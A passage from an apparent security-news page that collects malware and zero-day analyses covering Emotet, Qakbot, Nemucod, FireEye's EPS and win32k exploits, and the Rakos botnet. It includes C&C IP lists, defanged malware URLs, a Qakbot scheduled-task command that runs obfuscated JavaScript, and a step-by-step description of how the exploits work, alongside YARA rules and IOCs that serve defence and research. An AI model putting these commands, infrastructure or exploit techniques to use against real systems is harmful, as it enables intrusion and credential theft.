of functionalities: Stealing money from bank accounts (Man-in-the-Browser attack) Spreading by sending spam e-mails Stealing mails and credentials to mail accounts DDoS module Stealing browsing history and passwords from web browser In version 4 distributed in the last campaign, we didn\xe2\x80\x99t observe banking module, which is somewhat unusual for this type of malware. Behavior of other modules was quite similar to previous versions. During analysis, we successfully dropped two types of modules, described below: Credentials stealer: In server response, we found two similar modules, which purpose was to steal credentials from web browser and mail client. Both modules have embedded NirSoft password recovery software inside: Mail PassView (Email Password-Recovery) v1.86 WebBrowserPassView v1.80 Recovery software was embedded as XOR-encoded static blob, using 32-bit key (similar to strings). On module startup, software was decoded and stored in %TEMP%, and then executed with /scomma [temp file name] parameter, which leads to dump all passwords into file contained in %TEMP% folder (name generated using GetTempFileNameW). Stealed data were sent to C&C server for malware spreading purpose. Spam module: Second type of module was spam module, used for malware spreading. Firstly, module asks C&C for message template, list of recipients and list of hijacked accounts, which will be used to spam distribution. Request structure presents as below: message SpamRequest { message SpamRequestBody { required string botId = 1; required int32 flags = 2 [default = 3]; required string additionalData = 3; } required int32 command = 1 [default = 18]; optional SpamRequestBody spamRequest = 2; } Fields flags and additionalData specify, which data has been received from server and which we\xe2\x80\x99re expecting in C&C answer. Server response looks like below: message EmailAccount { required int32 id = 1; required string mail_server = 2; required int32 port = 3; required string login = 4; required string password = 5; required string email = 6; } message EmailRecipient { required int32 id=1; required string to_email=2; optional string to_name=3; required string from_email=4; required string from_name=5; } message EmailResponse { message Template { required string from = 1 ; required string subject = 2; required string unk1 = 3; required string content_type = 4; required string msg = 5; required string unk2 = 6; } optional Template template = 1; repeated EmailAccount accounts = 2 [packed=true]; optional EmailRecipient recipients = 3 [packed=true]; required uint32 timestamp = 4; } E-mails are not sent using local account. Distribution is performed using previously scrapped mail accounts, which are sent to each spambot. Message template example: Hello <> Thank you for your order. The details can be found below. Invoice attached: http://aceeight.com/Cust-000564-17424/<> This e-mail was sent by <> <> Summary: Basic functionality of Emotet in last campaign was just stealing credentials and spreading. Even though, malware is still active and also actively developed. Because of lack of few important modules, Emotet will be probably extended in future. In case of infection, we recommend changing passwords to all accounts, which credentials were stored in mail client or web browser. Additional informations Detailed Kaspersky analysis from 2015 (Emotet v2 and v3) Analysis based on sample: c53956c95100c5c0ba342977f8fc44fcad35aabc24ec44cb12bb83eee1ed34fa \xc2 MD5 of fetched modules: 0497c120248c6f00f1ac37513bd572e5 5b2d58b4104309ee9c93b455d39c7314 722268bad0d3a2e90aa148d52c60943e C&C list: hxxp://87.106.105.76:443 hxxp://173.255.229.121:443 hxxp://178.79.177.141:443 hxxp://79.170.95.202:7080 hxxp://206.214.220.79:8080 hxxp://88.198.50.221:8080 hxxp://5.39.84.48:8080 hxxp://188.68.58.8:7080 hxxp://162.214.11.56:7080 hxxp://5.196.73.150:8080 hxxp://203.121.145.40:7080 hxxp://46.165.212.76:7080 \xc2 C&C public key: \xe2\x80\x94\xe2\x80\x93BEGIN PUBLIC KEY\xe2\x80\x94\xe2\x80\x93 MHwwDQYJKoZIhvcNAQEBBQADawAwaAJhAJ16QBv5Csq0eruFy4BvTcXmmIyeqUb3 vCCc8K/zOYOpL/Ww6FCdUpvPfs+RR/sLBalwtKmT14iRUaNmJdygnAKUIRWR1HNt 0rQRir0pD4QlkXlnZ9lZazTfyMV8BLCatwIDAQAB \xe2\x80\x94\xe2\x80\x93END PUBLIC KEY\xe2\x80\x94\xe2\x80\x93 Yara Rule: rule emotet4_basic: trojan { meta: author = \xe2\x80\x9cpsrok1/mak\xe2\x80\x9d module = \xe2\x80\x9cemotet\xe2\x80\x9d strings: $emotet4_rsa_public = { 8d ?? ?? 5? 8d ?? ?? 5? 6a 00 68 00 80 00 00 ff 35 [4] ff 35 [4] 6a 13 68 01 00 01 00 ff 15 [4] 85 } $emotet4_cnc_list = { 39 ?? ?5 [4] 0f 44 ?? (FF | A3)} condition: all of them } rule emotet4: trojan { meta: author = \xe2\x80\x9cpsrok1\xe2\x80\x9d module = \xe2\x80\x9cemotet\xe2\x80\x9d strings: $emotet4_x65599 = { 0f b6 ?? 8d ?? ?? 69 ?? 3f 00 01 00 4? 0? ?? 3? ?? 72 } condition: any of them and emotet4_basic } rule emotet4_spam : spambot { meta: author=\xe2\x80\x9dmak\xe2\x80\x9d module=\xe2\x80\x9demotet\xe2\x80\x9d strings: $login=\xe2\x80\x9dLOGIN\xe2\x80\x9d fullword $startls=\xe2\x80\x9dSTARTTLS\xe2\x80\x9d fullword $mailfrom=\xe2\x80\x9dMAIL FROM:\xe2\x80\x9d condition: all of them and emotet4_basic } You value our work?\xc2 The Return of Qakbot Malware May 25, 201700Latest news, Malware, ReverseEngineering, Zero-DayTags: 0-day, analysis, Malware, Qakbot, QBot, zero-day Introduction The Cylance Threat Guidance team continuously looks for interesting trends and challenges that incite organizations to engage with us. Recently, an influx of thousands of Qakbot (aka Qbot) infections have brought people to us to discuss how to block this malware from gaining access to corporate systems. This malware is well-known for its ability to steal credentials and quickly spread through an enterprise over network shares.\xc2 Given its age, it might seem logical that security controls would have this threat on lockdown. However, the occasional functional enhancements combined with its multiple layers of obfuscation and server-side polymorphism periodically breathe new life into this seemingly immortal malware. While it\xe2\x80\x99s unclear why so many systems have suddenly fallen victim to Qakbot, it\xe2\x80\x99s possible that updated exploit kits play a role. After all, there is no shortage of new vulnerabilities and exploits for attackers to use to their advantage. Since the core functionality of Qakbot has remained fairly consistent over the years and is well documented, we will not rehash that information here. Instead, we\xe2\x80\x99ll evaluate several samples from the recent surge in infections and explore how to correlate unique binaries. As highlighted at the beginning of this article, the polymorphic nature of this threat is of great interest given its goal of evading detection. Prior versions of Qakbot configured a scheduled task to request updates, and the recent wave of infections was no different. For example, we observed a sample that configured the following command to run on a weekly basis: cmd.exe /C \xe2\x80\x9cstart /MIN C:\\windows\\system32\\cscript.exe //E:javascript \xe2\x80\x9cC:\\Users\\\\AppData\\Local\\Microsoft\\<5-8 random alphabetical characters>.wpl\xe2\x80\x9d\xe2\x80\x9d As described in the command line, the WPL file contains JavaScript. Just in case the cryptic code isn\xe2\x80\x99t convincing enough, the header of the target file makes it all too clear the JavaScript is obfuscated (Figure 1). Figure 1: Excerpt of Obfuscated JavaScript Update Script Brief behavioral analysis revealed the code reaches out to the following URLs: \xe2\x80\xa2\xc2 hxxp://css.kbaf.myzen.co(dot)uk/TealeafTarget.php \xe2\x80\xa2\xc2 hxxp://projects.montgomerytech(dot)com/TealeafTarget.php \xe2\x80\xa2\xc2 hxxp://n.abcwd0.seed.fastsecureservers(dot)com/TealeafTarget.php Like earlier versions of Qakbot, a request to these update servers returns an encrypted payload, where the first 20 bytes serve as the RC4 key to decrypt the data. Once decrypted, the first 20 bytes represent a SHA1 hash of the executable, and the remaining bytes are the file contents. To mimic Qakbot\xe2\x80\x99s update process in a controlled manner, we created a Python script to send HTTP requests to each of the three URLs over a 24-hour period. At the time of this writing, requests for the first listed URL returned an HTTP 404 Not Found error, but requests for the remaining two URLs returned the expected payload. The script was executed from both a Windows 10 64-bit and Windows 10 32-bit OS for more than 24 hours from 5/16/17 to 5/17/17, and the scripts were running simultaneously across both operating systems during much of that time. Although the script was configured to send HTTP requests to each of the two working URLs every 30 seconds, most requests resulted in pulling the same binary. In other words, the update server did not provide a new file with each request. Files with a unique hash were only supplied approximately every 10 minutes. In total, we collected 245 files across the two machines. However, because the servers supplied the same file to each machine at a given time (i.e., they appeared to be in sync), the resulting unique set of files was much smaller, totaling 141 files. \xc2 Reviewing the samples: All 141 downloaded files were 32-bit Windows executables. Searching public repositories for these files revealed that only one had been previously logged, and that was within the previous 12 hours. Across the 141 files, all have unique compile timestamps, and the earliest one occurred on May 15, 2017. While all 141 files have unique sha-256 file hashes, there are some similarities to consider. First, calculating the import hashes across the files showed three distinct groups: \xe2\x80\xa2\xc2 2E6AC2290F1E3D80ABC8D0D6F736D965 \xe2\x80\xa2\xc2 651EF2DBA96011F47EED9B72BE7B4B8C \xe2\x80\xa2\xc2 F3CAA54DDE4056FADD52A024CF6B82ED Although import hashes are often used to correlate malware over long periods of time, the earliest compile timestamp we discovered for a file with any of the above import hashes was 5/15/17. Given the polymorphic capabilities of this threat, this observation is not surprising. Let\xe2\x80\x99s briefly take a look at two files that have the same import hash (2E6AC2290F1E3D80ABC8D0D6F736D965) but different file hashes: \xe2\x80\xa2\xc2 \xc2 7DBD0DF279062090C34F796EFC7DD239ECCD46B99B67AAC370D6048D5ADBB9EC \xe2\x80\xa2\xc2 \xc2 67F3BD674647CA0D294A894B6702362B6CFC4B6C2E147643E100903A6B4D715A Both files are 458,752 bytes, and they consist of the following PE sections: \xe2\x80\xa2 \xc2 .text \xe2\x80\xa2 \xc2 .code \xe2\x80\xa2 \xc2 .rdata \xe2\x80\xa2 \xc2 .data \xe2\x80\xa2 \xc2 .CRT \xe2\x80\xa2 \xc2 .exp \xe2\x80\xa2 \xc2 .code (yes, again) \xe2\x80\xa2 \xc2 .rsc \xe2\x80\xa2 .reloc Among these, all section hashes match except those for .text, .rdata, and .data. A different .text section may indicate a change in executable code. To investigate this observation, we can use diaphora, a binary diffing tool compatible with IDA Pro. Performing a code comparison presents the following results (excerpt in Figure 2). Figure 2: Binary Diff of Two Qakbot Samples With the Same Import Hash Diaphora concludes all 27 identified functions are a 100% match. While we could investigate individual variations across the three PE sections mentioned earlier, it makes more sense to unravel any layers of obfuscation and compare the underlying code. Unpacking Qakbot: To unpack recent Qakbot samples, the below approach worked reliably. All instructions assume use of x32dbg, but similar steps can be performed with a debugger of your choice. \xe2\x80\xa2 \xc2 Load the sample into x32dbg (we\xe2\x80\x99ll be working with the file that has sha-256 hash 7DBD0DF279062090C34F796EFC7DD239ECCD46B99B67AAC370D6048D5ADBB9EC) . \xe2\x80\xa2\xc2 \xc2 Set a breakpoint on VirtualProtect (Figure 3). Figure 3: Set a Breakpoint on VirtualProtect Within x32dbg \xe2\x80\xa2\xc2 \xc2 Execute the code. On the first call to VirtualProtect, the protection on all sections owned by the process will be modified to 0x04, or PAGE_READWRITE (see red box in Figure 4). Figure 4: Protection on Code Changed to PAGE_READWRITE \xe2\x80\xa2\xc2 \xc2 As the code executes, those sections in memory will be manually overwritten using loops. Let the breakpoint hit two more times, and on the second hit notice that protection on the .text section is changed to 0x20, or PAGE_EXECUTE_READ (see red box in Figure 5). Figure 5: Protection on .text Section Changed to PAGE_EXECUTE_READ \xe2\x80\xa2\xc2 \xc2 Allow the call to complete and return back to user code so that the permissions change takes effect. \xe2\x80\xa2\xc2 \xc2 Next, browse to the Memory Map and choose to disassemble the .text section (Figure 6). Figure 6: Memory Map With Unpacked Code \xe2\x80\xa2\xc2 \xc2 Once there, set a \xe2\x80\x9cHardware on Execution\xe2\x80\x9d breakpoint to catch when this new code is executed (Figure 7). Figure 7: Hardware Breakpoint on Original Entry Point (OEP) \xe2\x80\xa2\xc2 Run the code until the hardware breakpoint is triggered. You can then dump the process using a plugin like OllyDumpEx and fix the import table using Scylla. Correlating Qakbot Following the above process for both files produced two process dumps of the same size (418,304 bytes) and different file hashes. Turning again to diaphora revealed that most of the 227 functions identified matched 100%. Only nine functions did not match 100% (see excerpt in Figure 8). Figure 8: Binary Diff of Unpacked Code From Two Samples A review of these nine functions showed that each referenced the file name and/or location of the file on disk. Since each file tested did indeed have a different filename and location, we can explain this discrepancy. Therefore, despite variations in the sections across the code, the resulting unpacked binary contains identical functionality. To further explore correlation between deobfuscated samples, we can apply the same unpacking process to a sample with a different import hash. For example, the file with hash 8891524E468BE1BD44723385C9238017090B536F922CCC007D8AC47C66802E3C is 450,560 bytes and has the import hash 651EF2DBA96011F47EED9B72BE7B4B8C. It is 8,192 bytes smaller than the previous two files and has only six sections (no section hashes match when compared to previous samples): \xe2\x80\xa2\xc2 \xc2 .text \xe2\x80\xa2\xc2 \xc2 .code \xe2\x80\xa2\xc2 \xc2 .rdata \xe2\x80\xa2\xc2 \xc2 .data \xe2\x80\xa2\xc2 \xc2 .rsrc \xe2\x80\xa2\xc2 \xc2 .reloc The unpacking approach outlined above results in another dumped 418,304 byte file with a different file hash. However, a code diff confirms that most of the 227 identified functions match 100%, and the nine functions that do not only differ by the filename and path, as described earlier. Conclusion: Qakbot continues to be a significant threat due to its credential collection capabilities and polymorphic features. Unhindered, this malware family can rapidly propagate through network shares and create an enterprise-wide incident. In this post, we explored how to dissect, unpack, and compare multiple downloaded samples. \xc2 Indicators of Compromise (IoCs): Sha-256 Hashes: 7DBD0DF279062090C34F796EFC7DD239ECCD46B99B67AAC370D6048D5ADBB9EC 67F3BD674647CA0D294A894B6702362B6CFC4B6C2E147643E100903A6B4D715A 8891524E468BE1BD44723385C9238017090B536F922CCC007D8AC47C66802E3C URLs: hxxp://css.kbaf.myzen.co(dot)uk/TealeafTarget.php hxxp://projects.montgomerytech(dot)com/TealeafTarget.php hxxp://n.abcwd0.seed.fastsecureservers(dot)com/TealeafTarget.php You value our work?\xc2 Nemucod Evolves Delivery and Obfuscation Techniques to Harvest Credentials May 12, 201700Featured news, Latest news, Malware, Phishing, ReverseEngineeringTags: analysis, Malware, Nemucod, phishing Recently the Unit 42 research team have been investigating a wave of Nemucod downloader malware that uses weaponized documents to deploy encoded, and heavily obfuscated JavaScript, ultimately leading to further payloads being delivered to the victim. From a single instance of the encoded JavaScript discovered in one version of this malware, we pivoted on the Command and Control (C2) IPv4 address discovered during static analysis and deobfuscation, using our Threat Intelligence Service AutoFocus, unearthed many more versions of the malware and found that the versions seen to date were delivering a credential-stealing Trojan as the final payload. Over the past five months they have tracked this campaign of Nemucod malware in various industry sectors across multiple countries with Europe amassing the highest number of attacks, followed by the United States of America and then Japan (as can be seen in Figure 1). Figure 1: Nemucod Destination Countries by session volume. Figure 2: Target Industries by session volume. Spain was the single most affected country, as shown in Figure 1, with the Professional and Legal Services sector, as shown in Figure 2, contributing the most towards that and also towards Belgium\xe2\x80\x99s total volume as well. Utilities was next, almost exclusively in France; Healthcare was primarily made up again from volume seen in Spain; Energy, towards the end of the list of Top 10 industries shown in Figure 3, was mostly due to activity in the United Kingdom; the Securities and Investments sector was mostly made up from traffic in the United States of America, United Kingdom and Norway. Malicious traffic seen in Japan was due to attacks seen in High Tech industries. Figure 3: European Countries by session volume. Much of the malware arrived by email (using SMTP, POP3 and IMAP applications) as shown in Figure 4, the vast majority of which originated from Poland or at least using source email addresses with Polish domain names. Recipient email addresses varied but many seem valid based on names and linked-in account details. A small proportion of the sessions seen were over the web-browsing application being downloaded from websites resolving to IP addresses in Moldova, which will be discussed in more detail later. Figure 4: Nemucod network application by session volume The remainder of this blog describes the evolution of the malware since that time, as well as other topics: Weaponized document evolution. Insight into the possible workflow and setup of the attackers, including their infrastructure. Obfuscation and social engineering techniques used. The credential theft payload. EPS Processing Zero-Days Exploited by Multiple Threat Actors May 10, 201700Featured news, Latest news, Malware, ReverseEngineering, Vulnerability, Zero-DayTags: EOP, FireEye, FLTLDR.EXE, Malware, zero-day In 2015, FireEye published details about two attacks exploiting vulnerabilities in Encapsulated PostScript (EPS) of Microsoft Office. One was a zero-day and one was patched weeks before the attack launched. Recently, FireEye identified three new zero-day vulnerabilities in Microsoft Office products that are being exploited in the wild. At the end of March 2017, we detected another malicious document leveraging an unknown vulnerability in EPS and a recently patched vulnerability in Windows Graphics Device Interface (GDI) to drop malware. Following the April 2017 Patch Tuesday, in which Microsoft disabled EPS, FireEye detected a second unknown vulnerability in EPS. FireEye believes that two actors \xe2\x80\x93 Turla and an unknown financially motivated actor \xe2\x80\x93 were using the first EPS zero-day (CVE-2017-0261), and APT28 was using the second EPS zero-day (CVE-2017-0262) along with a new Escalation of Privilege (EOP) zero-day (CVE-2017-0263). Turla and APT28 are Russian cyber espionage groups that have used these zero-days against European diplomatic and military entities. The unidentified financial group targeted regional and global banks with offices in the Middle East. The following is a description of the EPS zero-days, associated malware, and the new EOP zero-day. Each EPS zero-day is accompanied by an EOP exploit, with the EOP being required to escape the sandbox that executes the FLTLDR.EXE instance used for EPS processing. The malicious documents have been used to deliver three different payloads. CVE-2017-0261 was used to deliver SHIRIME (Turla) and NETWIRE (unknown financially motivated actor), and CVE-2017-0262 was used to deliver GAMEFISH (APT28). CVE-2017-0263 is used to escalate privileges during the delivery of the GAMEFISH payload. FireEye email and network products detected the malicious documents. FireEye has been coordinating with the Microsoft Security Response Center (MSRC) for the responsible disclosure of this information. Microsoft advises all customers to follow the guidance in security advisory ADV170005 as a defense-in-depth measure against EPS filter vulnerabilities. CVE-2017-0261 \xe2\x80\x93\xc2 EPS \xe2\x80\x9crestore\xe2\x80\x9d Use-After-Free Upon opening the Office document, the FLTLDR.EXE is utilized to render an embedded EPS image, which contains the exploit. The EPS file is a PostScript program, which leverages a Use-After-Free vulnerability in \xe2\x80\x9crestore\xe2\x80\x9d operand. From the PostScript Manual: \xe2\x80\x9cAllocations in local VM and modifications to existing objects in local VM are subject to a feature called save and restore, named after the operators that invoke it. save and restore bracket a section of a PostScript language program whose local VM activity is to be encapsulated. restore deallocates new objects and undoes modifications to existing objects that were made since the matching save.\xe2\x80\x9d As the manual described, the restore operator will reclaim memory allocated since the save operator. This makes a perfect condition of Use-After-Free, when combined with forall operator. Figure 1 shows the pseudo code to exploit the save and restore operation. Figure 1: Pseudo code for the exploit The following operations allow the Pseudo code to leak metadata enabling a read/write primitive: forall_proc array is created with a single element of the restore proc The EPS state is saved to eps_state uaf_array is created after the save The forall operator loops over the elements of the uaf_array calling forall_proc for each element The first element of uaf_array is passed to a call of restore_proc, the procedure contained in forall_proc restore_proc restores the initial state freeing the uaf_array The alloc_string procedure reclaims the freed uaf_array The forall_proc is updated to call leak_proc Subsequent calls by the forall operator call the leak_proc on each element of the reclaimed uaf_array which elements now contain the result of the alloc_string procedure Figure 2 demonstrates a debug log of the uaf_array being used after being reclaimed. Figure 2: uaf_array reclaimed debug log By manipulating the operations after the save operator, the attacker is able to manipulate the memory layouts and convert the Use-After-Free to create a read/write primitive. Figure 3 shows the faked string, with length set as 0x7fffffff, base as 0. Figure 3: Faked String Object Leveraging the power of reading and writing arbitrary user memory, the EPS program continues by searching for gadgets to build the ROP chain, and creates a file object. Figure 4 demonstrates the faked file object in memory. Figure 4: Fake File Object, with ROP By calling closefile operand with the faked file object, the exploit pivots to the ROP and starts the shellcode. Figure 5 shows part of the disassembler of closefile operand handler. Figure 5: Stack Pivot disassembler of closefile Once execution has been achieved, the malware uses the ROP chain to change the execution protection of the memory region containing the shellcode.\xc2 At this point, the shellcode is running within a sandbox that was executing FLTLDR.EXE and an escalation of privilege is required to escape that sandbox. FireEye detected two different versions of the EPS program exploiting this vulnerability.\xc2 The first, st07383.en17.docx, continues by utilizing 32 or 64 bit versions of CVE-2017-0001 to escalate privileges before executing a final JavaScript payload containing a malware implant known as SHIRIME. SHIRIME is one of multiple custom JavaScript implants used by Turla as a first stage payload to conduct initial profiling of a target system and implement command and control. Since early 2016, we have observed multiple iterations of SHIRIME used in the wild, having the most recent version (v1.0.1004) employed in this zero-day The second document, Confirmation_letter.docx, continues by utilizing 32 or 64 bit versions of CVE-2016-7255 to escalate privilege before dropping a new variant of the NETWIRE malware family. Several versions of this document were seen with similar filenames. The EPS programs contained within these documents contained different logic to perform the construction of the ROP chain as well as build the shellcode.\xc2 The first took the additional step of using a simple algorithm, shown in Figure 6, to obfuscate sections of the shellcode. Figure 6: Shellcode obfuscation algorithm CVE-2017-0262\xc2 \xe2\x80\x93 Type Confusion in EPS The second EPS vulnerability is a type confused procedure object of forall operator that can alter the execution flow allowing an attacker to control values onto the operand stack. This vulnerability was found in a document named \xe2\x80\x9cTrump\xe2\x80\x99s_Attack_on_Syria_English.docx\xe2\x80\x9d. Before triggering the vulnerability, the EPS program sprays the memory with predefined data to occupy specific memory address and facilitate the exploitation. Figure 7 demonstrates the PostScript code snippet of spraying memory with a string. Figure 7: PostScript code snippet of spray After execution, the content of string occupies the memory at address 0x0d80d000, leading to the memory layout as shown in Figure 8. The exploit leverages this layout and the content to forge a procedure object and manipulate the code flow to store predefined value, in yellow, to the operator stack. Figure 8: Memory layout of the sprayed data After spraying the heap, the exploit goes on to call a code statement in the following format: 1 array 16#D80D020 forall. It creates an Array object, sets the procedure as the hex number 0xD80D020, and calls the forall operator. During the operation of the forged procedure within forall operator, it precisely controls the execution flow to store values of the attacker\xe2\x80\x99s choices to operand stack. Figure 9 shows the major code flow consuming the forged procedure. Figure 9: Consuming the forged procedure After execution of forall, the contents on the stack are under the attacker\xe2\x80\x99s control. This is s shown in Figure 10. Figure 10: Stack after the forall execution Since the operand stack has been manipulated, the subsequent operations of exch defines objects based on the data from the manipulated stack, as shown in Figure 11. Figure 11: Subsequent code to retrieve data from stack The A18 is a string type object, which has a length field of 0x7ffffff0, based from 0. Within memory, the layout as shown in Figure 12. Figure 12: A18 String Object The A19 is an array type object, with member values all purposely crafted. The exploit defines another array object and puts it into the forged array A19. By performing these operations, it puts the newly created array object pointer into A19. The exploit can then directly read the value from the predictable address, 0xD80D020 + 0x38, and leak its vftable and infer module base address of EPSIMP32.flt. Figure 13 shows code snippets of leaking EPSIMP32 base address. Figure 13: Code snippet of leaking module base Figure 14 shows the operand stack of calling put operator and the forged Array A19 after finishing the put operation. Figure 14: Array A19 after the put operation By leveraging the RW primitive string and the leaked module base of EPSIMP32, the exploit continues by searching ROP gadgets, creating a fake file object, and pivoting to shellcode through the bytesavailable operator. Figure 15 shows the forged file type object and disassembling of pivoting to ROP and shellcode. Figure 15: Pivots to ROP and Shellcode The shellcode continues by using a previously unknown EOP, CVE-2017-0263, to escalate privileges to escape the sandbox running FLTLDR.EXE, and then drop and execute a GAMEFISH payload. Only a 32-bit version of CVE-2017-0263 is contained in the shellcode. CVE-2017-0263\xc2 \xe2\x80\x93 win32k!xxxDestroyWindow Use-After-Free The EOP Exploit setup starts by suspending all threads other than the current thread and saving the thread handles to a table, as shown in Figure 16. Figure 16: Suspending Threads The exploit then checks for OS version and uses that information to populate version specific fields such as token offset, syscall number, etc. An executable memory area is allocated and populated with kernel mode shellcode as wells as address information required by the shellcode. A new thread is created for triggering the vulnerability and further control of exploitation. The exploit starts by creating three PopupMenus and appending menus to them, as shown in Figure 17. The exploit creates 0x100 windows with random classnames. The User32!HMValidateHandle trick is used to leak the tagWnd address, which is used as kernel information leak throughout the exploit. Figure 17: Popup menu creation RegisterClassExW is then used to register a window class \xe2\x80\x9cMain_Window_Class\xe2\x80\x9d with a WndProc pointing to a function, which calls DestroyWindow on window table created by EventHookProc, explained later in the blog. This function also shows the first popup menu, which was created earlier. Two extra windows are created with class name as \xe2\x80\x9cMain_Window_Class\xe2\x80\x9d. SetWindowLong is used to change WndProc of second window, wnd2, to a shellcode address. An application defined hook, WindowHookProc, and an event hook, EventHookProc, are installed by SetWindowsHookExW and SetWinEventHook respectively. PostMessage is used to post 0xABCD to first window, wnd1. The EventHookProc waits for EVENT_SYSTEM_MENUPOPUPSTART and saves the window\xe2\x80\x99s handle to a table. WindowHookProc looks for SysShadow classname and sets a new WndProc for the corresponding window. Inside this WndProc, NtUserMNDragLeave syscall is invoked and SendMessage is used to send 0x9f9f to wnd2, invoking the shellcode shown in Figure 18. Figure 18: Triggering the shellcode The Use-After-Free happens inside WM_NCDESTROY event in kernel and overwrites wnd2\xe2\x80\x99s tagWnd structure, which sets bServerSideWindowProc flag. With bServerSideWindowProc set, the user mode WndProc is considered as a kernel callback and will be invoked from kernel context \xe2\x80\x93 in this case wnd2\xe2\x80\x99s WndProc is the shellcode. The shellcode checks whether the memory corruption has occurred by checking if the code segment is not the user mode code segment. It also checks whether the message sent is 0x9f9f. Once the validation is completed, shellcode finds the TOKEN address of current process and TOKEN of system process (pid 4). The shellcode then copies the system process\xe2\x80\x99 token to current process, which elevates current process privilege to SYSTEM. Conclusion: EPS processing has become a ripe exploitation space for attackers. FireEye has discovered and analyzed two of these recent EPS zero-days with examples seen before and after Microsoft disabled EPS processing in the April 2017 Patch Tuesday.\xc2 The documents explored utilize differing EPS exploits, ROP construction, shellcode, EOP exploits and final payloads. While these documents are detected by FireEye appliances, users should exercise caution because FLTLDR.EXE is not monitored by EMET. Russian cyber espionage is a well-resourced, dynamic threat The use of zero-day exploits by Turla Group and APT28 underscores their capacity to apply technically sophisticated and costly methods when necessary. Russian cyber espionage actors use zero-day exploits in addition to less complex measures. Though these actors have relied on credential phishing and macros to carry out operations previously, the use of these methods does not reflect a lack of resources. Rather, the use of less technically sophisticated methods \xe2\x80\x93 when sufficient \xe2\x80\x93 reflects operational maturity and the foresight to protect costly exploits until they are necessary. CVE-2017-0261\xe2\x80\x99s use by multiple actors is further evidence that cyber espionage and criminal activity exist in a shared ecosystem. Nation state actors, such as those leveraging CVE-2017-0199 to distribute FINSPY, often rely on the same sources for exploits as criminal actors. This shared ecosystem creates a proliferation problem for defenders concerned with either type of threat. CVE-2017-0261 was being used as a zero-day by both nation state and cyber crime actors, and we believe that both actors obtained the vulnerability from a common source. Following CVE-2017-0199, this is the second major vulnerability in as many months that has been used for both espionage and crime. MD5 Filename C2 Host 2abe3cc4bff46455a945d56c27e9fb45 Confirmation_letter.docx.bin (NETWIRE) 84.200.2.12 e091425d23b8db6082b40d25e938f871 Confirmation_letter.docx (NETWIRE) 138.201.44.30 006bdb19b6936329bffd4054e270dc6a Confirmation_letter_ACM.docx (NETWIRE) 185.106.122.113 15660631e31c1172ba5a299a90938c02 st07383.en17.docx (SHIRIME) tnsc.webredirect.org f8e92d8b5488ea76c40601c8f1a08790 Trump\xe2\x80\x99s_Attack_on_Syria_English.docx (GAMEFISH) wmdmediacodecs.com Table 1: Source Exploit Documents Table 2: CVEs related to these attacks You find the article useful? Help us out as well \xf0\x9f\x99\x82\xc2 Transient Botnet \xe2\x80\x93 Exploring the P2P (SANS Diary) May 9, 201700Malware, ReverseEngineeringTags: analysis, Malware, P2P Introduction We recently deployed a high interaction honeypots\xc2 expecting it to be compromised by a specific malware. But in the first few days, instead of getting infected by the expected malware, it received a variety of attacks ranging from SSH port forwarding to \xe2\x80\x9cViagra and Cialis\xe2\x80\x9d SPAM to XORDDoS failed deployment attempts. By the third day, it was insistently hit and compromised by Rakos, a Linux/Trojan. Based on the expected Rakos behavior reported last December by ESET [1], our honeypot was recruited to a botnet and immediately began attempting connections to other hosts on the Internet, both to \xe2\x80\x9ccall home\xe2\x80\x9d and to search for new victims. Although it wasn\xe2\x80\x99t our initial plan, we noticed that this sample didn\xe2\x80\x99t behave like the one ESET described, which got us curious and made us analyze it here at Morphus Labs. After analyzing and exploiting this botnet\xe2\x80\x99s communication channel and employing Crawling and Sensor Injection enumeration methods, we did find a network floating around 8,300 compromised devices per day spread over 178 countries worldwide. Considering the recent DDoS attack reported by Incapsula [2] against a US College, originated from 9,793 bots, which was able to generate 30,000 requests per second during 54 hours, we may infer how potentially threatening is Rakos botnet. 2. Botnet C&C channel analysis To better understand this P2P Transient botnet behavior and its C&C protocol, we listened to its traffic for 24 hours, and after analyzing it, we noticed two kinds of communications: one between bots through HTTP and, the other, between bots and C&C servers through TLS/SSL. In this section, we detail the commands we mapped. Some definitions before start: Checker: An infected machine (\xe2\x80\x9cbot\xe2\x80\x9d) that is part of the botnet. Skaro: C&C server A particular node may play both roles. 2.1 Communication between Checkers and Skaros The connections between Checkers and Skaros are made through SSL/TLS encrypted sessions. It was necessary to intercept the traffic using a classic man-in-the-middle attack to access the messages. See in Table 1 the list of captured commands and its descriptions. Table 1 \xe2\x80\x93 C&C between Checkers and Skaros Command Description POST /ping HTTP/1.1 This command is used by Checkers to inform a Skaro its information and stats. It includes: system architecture, operating system, a \xe2\x80\x9cchecker\xe2\x80\x9d port number (used for bot to bot communication) and machine load (CPU and Memory). In the response, it receives the SSL certificate files (CA, CERT and KEY), a list of up to 30 Skaros addresses and 50 Checkers GET /upgrade/up HTTP/1.1 Command issued by the Checker to get a new list of username/password combinations from a Skaro. GET /upgrade/vars.yaml HTTP/1.1 Issuing this command, a Checker receives a response like the initial parameters. It\xe2\x80\x99s a kind of configuration refresh. GET /upgrade/linux-armv5 HTTP/1.1 This command is used to get a new version of the malware binary file. 2.2. Communication between Checkers The communication between Checkers is essential\xc2 to discover their own public IP address. The bots reach each other through HTTP requests using the high random TCP port they bind to. See in Table 2 the list of commands and its descriptions. Table 2 \xe2\x80\x93 C&C between Checkers Command Description GET / \xc2 HTTP/1.1 One bot querying another to discover its own IP address. GET /love HTTP/1.1 Like the previous command; one bot uses \xe2\x80\x9c/love\xe2\x80\x9d to query another for its own IP address and PTR (the reverse name associated with that IP address). There is a \xe2\x80\x9czen\xe2\x80\x9d parameter we didn\xe2\x80\x99t realize its function. 3. Sizing the botnet Now that we better understand the C&C channel, let\xe2\x80\x99s move on to the intelligence gathering phase. The objective here is to enumerate the population of this botnet, classify its nodes into Skaros and Checker groups and get as much information as possible about them. To this end we implemented two standard approaches to size P2P botnets, Crawling and Sensor Injection [3] 3.1. Crawling This strategy consists of visiting as many nodes as possible and collecting information about them. The crawler starts by requesting the neighbor list from a\xc2 seed node and iteratively requests neighbor lists from\xc2 every newly discovered and active node until all bots are discovered [4]. To maximize our chances of finding an \xe2\x80\x98always available and responsive\xe2\x80\x99 seed node, we investigated the lists of Skaros we collected during the man-in-the-middle process and the \xe2\x80\x9c/ping\xe2\x80\x9d commands we collected to discover prevalent IP addresses. Doing this, we found a group of three IPs both present in the section \xe2\x80\x9cskaro\xe2\x80\x9d in response to the C&C command \xe2\x80\x9c/upgrade/vars.yaml\xe2\x80\x9d and in the section \xe2\x80\x9cproxies\xe2\x80\x9d in response to the C&C command \xe2\x80\x9c/ping\xe2\x80\x9d, which could make them good seed node candidates. To validate this, we queried them manually issuing \xe2\x80\x9c/ping\xe2\x80\x9d commands. As a result, two didn\xe2\x80\x99t respond, and the other 